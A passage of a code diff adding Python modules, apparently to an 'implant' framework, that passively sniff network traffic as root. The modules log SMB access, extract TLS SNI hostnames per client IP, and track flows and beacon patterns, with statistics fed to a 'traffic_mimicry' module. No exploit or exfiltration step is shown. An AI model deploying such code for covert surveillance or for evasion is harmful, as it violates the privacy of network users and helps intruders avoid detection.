operation, smb_version)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)""",
|
||||
batch,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush SMB access records")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,436 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Passive TLS SNI extraction from ClientHello messages.
|
||||
|
||||
Subscribes to capture_bus with BPF "tcp port 443". Parses TLS ClientHello
|
||||
handshake messages and extracts the Server Name Indication (SNI) extension.
|
||||
Handles fragmented ClientHello across multiple TCP segments via a reassembly
|
||||
buffer keyed on (src_ip, src_port, dst_ip, dst_port).
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from collections import OrderedDict
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# TLS record types
|
||||
TLS_HANDSHAKE = 22
|
||||
# TLS handshake types
|
||||
TLS_CLIENT_HELLO = 1
|
||||
# TLS extension type for SNI
|
||||
EXT_SNI = 0x0000
|
||||
|
||||
# TLS version mapping
|
||||
TLS_VERSIONS = {
|
||||
0x0300: "SSLv3",
|
||||
0x0301: "TLS 1.0",
|
||||
0x0302: "TLS 1.1",
|
||||
0x0303: "TLS 1.2",
|
||||
0x0304: "TLS 1.3",
|
||||
}
|
||||
|
||||
# Max reassembly buffer entries (prevent memory leak from orphaned streams)
|
||||
MAX_REASSEMBLY_ENTRIES = 10000
|
||||
# Max age for reassembly buffer entries (seconds)
|
||||
REASSEMBLY_TIMEOUT = 30
|
||||
|
||||
|
||||
class TLSSNIExtractor(BaseModule):
|
||||
"""Extract SNI hostnames from TLS ClientHello messages."""
|
||||
|
||||
name = "tls_sni_extractor"
|
||||
module_type = "passive"
|
||||
priority = 100
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
BATCH_SIZE = 500
|
||||
FLUSH_INTERVAL = 60
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._reader_thread: Optional[threading.Thread] = None
|
||||
self._flusher_thread: Optional[threading.Thread] = None
|
||||
self._buffer = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._db_path = ""
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._total_sni = 0
|
||||
# TCP reassembly buffer: (src,sport,dst,dport) -> (data, timestamp)
|
||||
self._reassembly: OrderedDict = OrderedDict()
|
||||
self._reassembly_lock = threading.Lock()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._capture_bus = self.config.get("capture_bus")
|
||||
if not self._capture_bus:
|
||||
logger.error("TLSSNIExtractor requires capture_bus in config")
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "tls_sni.db")
|
||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||
self._init_db()
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="tcp port 443", queue_depth=8000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._reader_thread = threading.Thread(
|
||||
target=self._read_packets, daemon=True, name="sensor-sni-reader"
|
||||
)
|
||||
self._reader_thread.start()
|
||||
|
||||
self._flusher_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-sni-flusher"
|
||||
)
|
||||
self._flusher_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("TLSSNIExtractor started — monitoring TLS on port 443")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
|
||||
self._flush_buffer()
|
||||
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("TLSSNIExtractor stopped — %d SNIs extracted", self._total_sni)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_sni": self._total_sni,
|
||||
"buffer_size": len(self._buffer),
|
||||
"reassembly_entries": len(self._reassembly),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _init_db(self) -> None:
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS tls_sni (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
dest_ip TEXT NOT NULL,
|
||||
dest_port INTEGER NOT NULL,
|
||||
sni TEXT NOT NULL,
|
||||
tls_version TEXT
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_sni_source ON tls_sni(source_ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_sni_hostname ON tls_sni(sni);
|
||||
CREATE INDEX IF NOT EXISTS idx_sni_ts ON tls_sni(timestamp);
|
||||
""")
|
||||
self._db_conn.commit()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet reader
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_packets(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, raw_packet = result
|
||||
try:
|
||||
self._parse_packet(ts, raw_packet)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
||||
"""Parse Ethernet -> IPv4 -> TCP -> TLS ClientHello."""
|
||||
if len(raw) < 14:
|
||||
return
|
||||
|
||||
eth_type = struct.unpack("!H", raw[12:14])[0]
|
||||
ip_offset = 14
|
||||
if eth_type == 0x8100: # VLAN
|
||||
if len(raw) < 18:
|
||||
return
|
||||
eth_type = struct.unpack("!H", raw[16:18])[0]
|
||||
ip_offset = 18
|
||||
|
||||
if eth_type != 0x0800:
|
||||
return
|
||||
|
||||
if len(raw) < ip_offset + 20:
|
||||
return
|
||||
|
||||
ip_hdr = raw[ip_offset:]
|
||||
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||
ip_proto = ip_hdr[9]
|
||||
if ip_proto != 6: # TCP only
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||
|
||||
tcp_offset = ip_offset + ihl
|
||||
if len(raw) < tcp_offset + 20:
|
||||
return
|
||||
|
||||
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
|
||||
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
|
||||
payload_offset = tcp_offset + tcp_hdr_len
|
||||
payload = raw[payload_offset:]
|
||||
|
||||
if not payload:
|
||||
return
|
||||
|
||||
# Try to extract SNI from this payload (possibly with reassembly)
|
||||
flow_key = (src_ip, src_port, dst_ip, dst_port)
|
||||
self._process_tls_payload(ts, flow_key, payload, src_ip, dst_ip, dst_port)
|
||||
|
||||
def _process_tls_payload(self, ts: float, flow_key: tuple,
|
||||
payload: bytes, src_ip: str, dst_ip: str,
|
||||
dst_port: int) -> None:
|
||||
"""Parse TLS records from TCP payload, with reassembly for fragments."""
|
||||
# Check if we have buffered data for this flow
|
||||
with self._reassembly_lock:
|
||||
if flow_key in self._reassembly:
|
||||
prev_data, _ = self._reassembly.pop(flow_key)
|
||||
payload = prev_data + payload
|
||||
|
||||
# Try to parse TLS record
|
||||
offset = 0
|
||||
while offset < len(payload):
|
||||
if len(payload) - offset < 5:
|
||||
# Not enough for TLS record header — buffer for reassembly
|
||||
self._buffer_fragment(flow_key, payload[offset:], ts)
|
||||
return
|
||||
|
||||
content_type = payload[offset]
|
||||
tls_version = struct.unpack("!H", payload[offset + 1:offset + 3])[0]
|
||||
record_length = struct.unpack("!H", payload[offset + 3:offset + 5])[0]
|
||||
|
||||
if content_type != TLS_HANDSHAKE:
|
||||
return
|
||||
|
||||
if record_length > 16384: # Max TLS record size
|
||||
return
|
||||
|
||||
if len(payload) - offset - 5 < record_length:
|
||||
# Fragmented — buffer remaining data
|
||||
self._buffer_fragment(flow_key, payload[offset:], ts)
|
||||
return
|
||||
|
||||
record_data = payload[offset + 5:offset + 5 + record_length]
|
||||
sni, version_str = self._parse_client_hello(record_data, tls_version)
|
||||
if sni:
|
||||
self._total_sni += 1
|
||||
record = (ts, src_ip, dst_ip, dst_port, sni, version_str)
|
||||
with self._buffer_lock:
|
||||
self._buffer.append(record)
|
||||
if len(self._buffer) >= self.BATCH_SIZE:
|
||||
self._flush_buffer()
|
||||
return # Only care about the first ClientHello per connection
|
||||
|
||||
offset += 5 + record_length
|
||||
|
||||
def _buffer_fragment(self, flow_key: tuple, data: bytes, ts: float) -> None:
|
||||
"""Buffer a TCP fragment for reassembly."""
|
||||
with self._reassembly_lock:
|
||||
self._reassembly[flow_key] = (data, ts)
|
||||
# Evict oldest entries if buffer too large
|
||||
while len(self._reassembly) > MAX_REASSEMBLY_ENTRIES:
|
||||
self._reassembly.popitem(last=False)
|
||||
# Evict expired entries periodically
|
||||
now = time.time()
|
||||
expired = [k for k, (_, t) in self._reassembly.items()
|
||||
if now - t > REASSEMBLY_TIMEOUT]
|
||||
for k in expired:
|
||||
self._reassembly.pop(k, None)
|
||||
|
||||
@staticmethod
|
||||
def _parse_client_hello(data: bytes, record_tls_version: int) -> tuple:
|
||||
"""Parse a TLS Handshake record to extract SNI from ClientHello.
|
||||
|
||||
Returns (sni_hostname, tls_version_string) or (None, None).
|
||||
"""
|
||||
if len(data) < 4:
|
||||
return None, None
|
||||
|
||||
handshake_type = data[0]
|
||||
if handshake_type != TLS_CLIENT_HELLO:
|
||||
return None, None
|
||||
|
||||
# Handshake length (3 bytes)
|
||||
hs_length = struct.unpack("!I", b"\x00" + data[1:4])[0]
|
||||
if len(data) < 4 + hs_length:
|
||||
return None, None
|
||||
|
||||
offset = 4
|
||||
|
||||
# ClientHello: version(2) + random(32) + session_id_len(1) + ...
|
||||
if offset + 34 > len(data):
|
||||
return None, None
|
||||
|
||||
client_version = struct.unpack("!H", data[offset:offset + 2])[0]
|
||||
offset += 2 + 32 # skip version + random
|
||||
|
||||
# Session ID
|
||||
if offset >= len(data):
|
||||
return None, None
|
||||
session_id_len = data[offset]
|
||||
offset += 1 + session_id_len
|
||||
|
||||
# Cipher suites
|
||||
if offset + 2 > len(data):
|
||||
return None, None
|
||||
cipher_suites_len = struct.unpack("!H", data[offset:offset + 2])[0]
|
||||
offset += 2 + cipher_suites_len
|
||||
|
||||
# Compression methods
|
||||
if offset >= len(data):
|
||||
return None, None
|
||||
comp_methods_len = data[offset]
|
||||
offset += 1 + comp_methods_len
|
||||
|
||||
# Extensions
|
||||
if offset + 2 > len(data):
|
||||
return None, None
|
||||
extensions_len = struct.unpack("!H", data[offset:offset + 2])[0]
|
||||
offset += 2
|
||||
|
||||
extensions_end = offset + extensions_len
|
||||
if extensions_end > len(data):
|
||||
extensions_end = len(data)
|
||||
|
||||
# Determine TLS version — check for supported_versions extension (0x002b)
|
||||
# which overrides the record-layer version for TLS 1.3
|
||||
detected_version = client_version
|
||||
sni_hostname = None
|
||||
|
||||
ext_offset = offset
|
||||
while ext_offset + 4 <= extensions_end:
|
||||
ext_type = struct.unpack("!H", data[ext_offset:ext_offset + 2])[0]
|
||||
ext_len = struct.unpack("!H", data[ext_offset + 2:ext_offset + 4])[0]
|
||||
ext_data_start = ext_offset + 4
|
||||
ext_data_end = ext_data_start + ext_len
|
||||
|
||||
if ext_data_end > extensions_end:
|
||||
break
|
||||
|
||||
if ext_type == EXT_SNI:
|
||||
# SNI extension: list_length(2), type(1)=0 (hostname), name_length(2), name
|
||||
sni_data = data[ext_data_start:ext_data_end]
|
||||
sni_hostname = _parse_sni_extension(sni_data)
|
||||
|
||||
elif ext_type == 0x002B:
|
||||
# supported_versions extension — pick highest version
|
||||
sv_data = data[ext_data_start:ext_data_end]
|
||||
if len(sv_data) >= 1:
|
||||
sv_list_len = sv_data[0]
|
||||
sv_offset = 1
|
||||
max_ver = 0
|
||||
while sv_offset + 2 <= 1 + sv_list_len and sv_offset + 2 <= len(sv_data):
|
||||
ver = struct.unpack("!H", sv_data[sv_offset:sv_offset + 2])[0]
|
||||
if ver > max_ver:
|
||||
max_ver = ver
|
||||
sv_offset += 2
|
||||
if max_ver > 0:
|
||||
detected_version = max_ver
|
||||
|
||||
ext_offset = ext_data_end
|
||||
|
||||
version_str = TLS_VERSIONS.get(detected_version, f"0x{detected_version:04x}")
|
||||
return sni_hostname, version_str
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Buffer flush
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(self.FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("SNI flush error")
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._buffer)
|
||||
self._buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
self._db_conn.executemany(
|
||||
"INSERT INTO tls_sni (timestamp, source_ip, dest_ip, dest_port, sni, tls_version) "
|
||||
"VALUES (?, ?, ?, ?, ?, ?)",
|
||||
batch,
|
||||
)
|
||||
self._db_conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to flush %d SNI records", len(batch))
|
||||
|
||||
|
||||
def _parse_sni_extension(data: bytes) -> Optional[str]:
|
||||
"""Parse the SNI extension data to extract the hostname."""
|
||||
if len(data) < 5:
|
||||
return None
|
||||
|
||||
sni_list_len = struct.unpack("!H", data[0:2])[0]
|
||||
offset = 2
|
||||
|
||||
while offset + 3 <= len(data) and offset < 2 + sni_list_len:
|
||||
name_type = data[offset]
|
||||
name_len = struct.unpack("!H", data[offset + 1:offset + 3])[0]
|
||||
offset += 3
|
||||
|
||||
if offset + name_len > len(data):
|
||||
break
|
||||
|
||||
if name_type == 0: # host_name
|
||||
try:
|
||||
return data[offset:offset + name_len].decode("ascii")
|
||||
except UnicodeDecodeError:
|
||||
return data[offset:offset + name_len].decode("utf-8", errors="replace")
|
||||
|
||||
offset += name_len
|
||||
|
||||
return None
|
||||
@@ -0,0 +1,480 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network traffic analysis — flow tracking, top talkers, beacon detection.
|
||||
|
||||
Subscribes to all capture_bus traffic. Tracks:
|
||||
- Flows by 5-tuple (src_ip, dst_ip, src_port, dst_port, proto)
|
||||
- Protocol distribution percentages
|
||||
- Top talkers by bytes and packets
|
||||
- Beacon detection: regular-interval connections (C2 indicators)
|
||||
- Bandwidth profiling per host
|
||||
|
||||
Feeds baseline data to traffic_mimicry module via bus events.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import math
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Protocol number to name mapping
|
||||
PROTO_NAMES = {
|
||||
1: "ICMP", 6: "TCP", 17: "UDP", 47: "GRE",
|
||||
50: "ESP", 51: "AH", 58: "ICMPv6",
|
||||
}
|
||||
|
||||
# Beacon detection thresholds
|
||||
BEACON_MIN_CONNECTIONS = 10 # Minimum connections to analyze
|
||||
BEACON_JITTER_THRESHOLD = 0.15 # Max jitter ratio (stddev/mean) for beacon
|
||||
BEACON_MIN_INTERVAL = 5.0 # Minimum interval to consider (seconds)
|
||||
BEACON_MAX_INTERVAL = 7200.0 # Maximum interval to consider (seconds)
|
||||
|
||||
|
||||
class TrafficAnalyzer(BaseModule):
|
||||
"""Analyze network traffic patterns, flows, and detect beacons."""
|
||||
|
||||
name = "traffic_analyzer"
|
||||
module_type = "passive"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
FLUSH_INTERVAL = 300 # 5 minutes
|
||||
BEACON_CHECK_INTERVAL = 600 # 10 minutes
|
||||
STATS_PUBLISH_INTERVAL = 120 # 2 minutes
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._reader_thread: Optional[threading.Thread] = None
|
||||
self._flusher_thread: Optional[threading.Thread] = None
|
||||
self._beacon_thread: Optional[threading.Thread] = None
|
||||
self._stats_thread: Optional[threading.Thread] = None
|
||||
self._db_path = ""
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
|
||||
# Flow table: (src_ip, dst_ip, src_port, dst_port, proto) -> FlowRecord
|
||||
self._flows = {}
|
||||
self._flows_lock = threading.Lock()
|
||||
|
||||
# Per-host stats
|
||||
self._host_bytes = defaultdict(int) # ip -> total bytes
|
||||
self._host_packets = defaultdict(int) # ip -> total packets
|
||||
self._host_lock = threading.Lock()
|
||||
|
||||
# Protocol distribution
|
||||
self._proto_bytes = defaultdict(int) # proto_name -> bytes
|
||||
self._proto_packets = defaultdict(int) # proto_name -> packets
|
||||
self._proto_lock = threading.Lock()
|
||||
|
||||
# Connection timestamps for beacon detection: (src, dst, dport) -> [timestamps]
|
||||
self._conn_times = defaultdict(list)
|
||||
self._conn_lock = threading.Lock()
|
||||
|
||||
self._total_packets = 0
|
||||
self._total_bytes = 0
|
||||
self._detected_beacons = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._capture_bus = self.config.get("capture_bus")
|
||||
if not self._capture_bus:
|
||||
logger.error("TrafficAnalyzer requires capture_bus in config")
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "traffic_flows.db")
|
||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||
self._init_db()
|
||||
|
||||
# Subscribe to all traffic (no BPF filter)
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="", queue_depth=15000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._reader_thread = threading.Thread(
|
||||
target=self._read_packets, daemon=True, name="sensor-traffic-reader"
|
||||
)
|
||||
self._reader_thread.start()
|
||||
|
||||
self._flusher_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-traffic-flusher"
|
||||
)
|
||||
self._flusher_thread.start()
|
||||
|
||||
self._beacon_thread = threading.Thread(
|
||||
target=self._beacon_loop, daemon=True, name="sensor-traffic-beacon"
|
||||
)
|
||||
self._beacon_thread.start()
|
||||
|
||||
self._stats_thread = threading.Thread(
|
||||
target=self._stats_loop, daemon=True, name="sensor-traffic-stats"
|
||||
)
|
||||
self._stats_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("TrafficAnalyzer started — monitoring all traffic")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
|
||||
self._flush_flows()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"TrafficAnalyzer stopped — %d total packets, %d flows, %d beacons detected",
|
||||
self._total_packets, len(self._flows), len(self._detected_beacons),
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._flows_lock:
|
||||
flow_count = len(self._flows)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_packets": self._total_packets,
|
||||
"total_bytes": self._total_bytes,
|
||||
"active_flows": flow_count,
|
||||
"detected_beacons": len(self._detected_beacons),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _init_db(self) -> None:
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS flows (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
src_ip TEXT NOT NULL,
|
||||
dst_ip TEXT NOT NULL,
|
||||
src_port INTEGER,
|
||||
dst_port INTEGER,
|
||||
proto TEXT NOT NULL,
|
||||
bytes_total INTEGER NOT NULL DEFAULT 0,
|
||||
packets INTEGER NOT NULL DEFAULT 0,
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL,
|
||||
is_beacon INTEGER DEFAULT 0
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_flow_src ON flows(src_ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_flow_dst ON flows(dst_ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_flow_beacon ON flows(is_beacon);
|
||||
CREATE INDEX IF NOT EXISTS idx_flow_first ON flows(first_seen);
|
||||
""")
|
||||
self._db_conn.commit()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet reader
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_packets(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, raw_packet = result
|
||||
try:
|
||||
self._parse_packet(ts, raw_packet)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
||||
"""Extract flow information from each packet."""
|
||||
if len(raw) < 14:
|
||||
return
|
||||
|
||||
eth_type = struct.unpack("!H", raw[12:14])[0]
|
||||
ip_offset = 14
|
||||
if eth_type == 0x8100: # VLAN
|
||||
if len(raw) < 18:
|
||||
return
|
||||
eth_type = struct.unpack("!H", raw[16:18])[0]
|
||||
ip_offset = 18
|
||||
|
||||
if eth_type != 0x0800: # IPv4 only
|
||||
return
|
||||
|
||||
if len(raw) < ip_offset + 20:
|
||||
return
|
||||
|
||||
ip_hdr = raw[ip_offset:]
|
||||
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||
total_len = struct.unpack("!H", ip_hdr[2:4])[0]
|
||||
ip_proto = ip_hdr[9]
|
||||
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||
|
||||
src_port = 0
|
||||
dst_port = 0
|
||||
|
||||
if ip_proto in (6, 17): # TCP or UDP
|
||||
transport_offset = ip_offset + ihl
|
||||
if len(raw) >= transport_offset + 4:
|
||||
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
|
||||
|
||||
proto_name = PROTO_NAMES.get(ip_proto, str(ip_proto))
|
||||
pkt_size = total_len
|
||||
|
||||
self._total_packets += 1
|
||||
self._total_bytes += pkt_size
|
||||
|
||||
# Update flow table
|
||||
flow_key = (src_ip, dst_ip, src_port, dst_port, proto_name)
|
||||
with self._flows_lock:
|
||||
if flow_key not in self._flows:
|
||||
self._flows[flow_key] = {
|
||||
"bytes_total": 0, "packets": 0,
|
||||
"first_seen": ts, "last_seen": ts,
|
||||
"is_beacon": False,
|
||||
}
|
||||
flow = self._flows[flow_key]
|
||||
flow["bytes_total"] += pkt_size
|
||||
flow["packets"] += 1
|
||||
flow["last_seen"] = ts
|
||||
|
||||
# Update per-host stats
|
||||
with self._host_lock:
|
||||
self._host_bytes[src_ip] += pkt_size
|
||||
self._host_packets[src_ip] += 1
|
||||
self._host_bytes[dst_ip] += pkt_size
|
||||
self._host_packets[dst_ip] += 1
|
||||
|
||||
# Update protocol distribution
|
||||
with self._proto_lock:
|
||||
self._proto_bytes[proto_name] += pkt_size
|
||||
self._proto_packets[proto_name] += 1
|
||||
|
||||
# Record connection timestamps for beacon detection (TCP SYN only)
|
||||
if ip_proto == 6 and len(raw) >= ip_offset + ihl + 14:
|
||||
tcp_flags = raw[ip_offset + ihl + 13]
|
||||
if tcp_flags & 0x02 and not (tcp_flags & 0x10): # SYN without ACK
|
||||
conn_key = (src_ip, dst_ip, dst_port)
|
||||
with self._conn_lock:
|
||||
timestamps = self._conn_times[conn_key]
|
||||
timestamps.append(ts)
|
||||
# Keep only last 1000 timestamps per connection tuple
|
||||
if len(timestamps) > 1000:
|
||||
self._conn_times[conn_key] = timestamps[-1000:]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Beacon detection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _beacon_loop(self) -> None:
|
||||
"""Periodically check for beacon-like connection patterns."""
|
||||
while self._running:
|
||||
time.sleep(self.BEACON_CHECK_INTERVAL)
|
||||
try:
|
||||
self._detect_beacons()
|
||||
except Exception:
|
||||
logger.exception("Beacon detection error")
|
||||
|
||||
def _detect_beacons(self) -> None:
|
||||
"""Analyze connection timestamps for regular-interval patterns."""
|
||||
with self._conn_lock:
|
||||
conn_snapshot = {k: list(v) for k, v in self._conn_times.items()
|
||||
if len(v) >= BEACON_MIN_CONNECTIONS}
|
||||
|
||||
new_beacons = []
|
||||
|
||||
for conn_key, timestamps in conn_snapshot.items():
|
||||
src_ip, dst_ip, dst_port = conn_key
|
||||
|
||||
if len(timestamps) < BEACON_MIN_CONNECTIONS:
|
||||
continue
|
||||
|
||||
# Calculate inter-arrival intervals
|
||||
timestamps.sort()
|
||||
intervals = [timestamps[i + 1] - timestamps[i]
|
||||
for i in range(len(timestamps) - 1)]
|
||||
|
||||
if not intervals:
|
||||
continue
|
||||
|
||||
# Filter to reasonable beacon intervals
|
||||
valid_intervals = [i for i in intervals
|
||||
if BEACON_MIN_INTERVAL <= i <= BEACON_MAX_INTERVAL]
|
||||
if len(valid_intervals) < BEACON_MIN_CONNECTIONS - 1:
|
||||
continue
|
||||
|
||||
mean_interval = sum(valid_intervals) / len(valid_intervals)
|
||||
if mean_interval == 0:
|
||||
continue
|
||||
|
||||
# Calculate jitter (standard deviation / mean)
|
||||
variance = sum((i - mean_interval) ** 2 for i in valid_intervals) / len(valid_intervals)
|
||||
stddev = math.sqrt(variance)
|
||||
jitter_ratio = stddev / mean_interval
|
||||
|
||||
if jitter_ratio <= BEACON_JITTER_THRESHOLD:
|
||||
beacon_info = {
|
||||
"src_ip": src_ip,
|
||||
"dst_ip": dst_ip,
|
||||
"dst_port": dst_port,
|
||||
"mean_interval": round(mean_interval, 2),
|
||||
"jitter_ratio": round(jitter_ratio, 4),
|
||||
"connection_count": len(timestamps),
|
||||
"first_seen": timestamps[0],
|
||||
"last_seen": timestamps[-1],
|
||||
}
|
||||
new_beacons.append(beacon_info)
|
||||
|
||||
# Mark flows as beacons
|
||||
with self._flows_lock:
|
||||
for proto in ("TCP", "6"):
|
||||
flow_key = (src_ip, dst_ip, 0, dst_port, proto)
|
||||
if flow_key in self._flows:
|
||||
self._flows[flow_key]["is_beacon"] = True
|
||||
|
||||
self.bus.emit("BEACON_DETECTED", beacon_info, source_module=self.name)
|
||||
|
||||
logger.warning(
|
||||
"BEACON: %s -> %s:%d interval=%.1fs jitter=%.2f%% count=%d",
|
||||
src_ip, dst_ip, dst_port, mean_interval,
|
||||
jitter_ratio * 100, len(timestamps),
|
||||
)
|
||||
|
||||
self._detected_beacons = new_beacons
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Statistics publishing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _stats_loop(self) -> None:
|
||||
"""Periodically publish traffic statistics for other modules."""
|
||||
while self._running:
|
||||
time.sleep(self.STATS_PUBLISH_INTERVAL)
|
||||
try:
|
||||
self._publish_stats()
|
||||
except Exception:
|
||||
logger.exception("Stats publish error")
|
||||
|
||||
def _publish_stats(self) -> None:
|
||||
"""Publish traffic baseline stats (for traffic_mimicry)."""
|
||||
# Protocol distribution
|
||||
with self._proto_lock:
|
||||
proto_dist = dict(self._proto_bytes)
|
||||
total_proto_bytes = sum(proto_dist.values())
|
||||
|
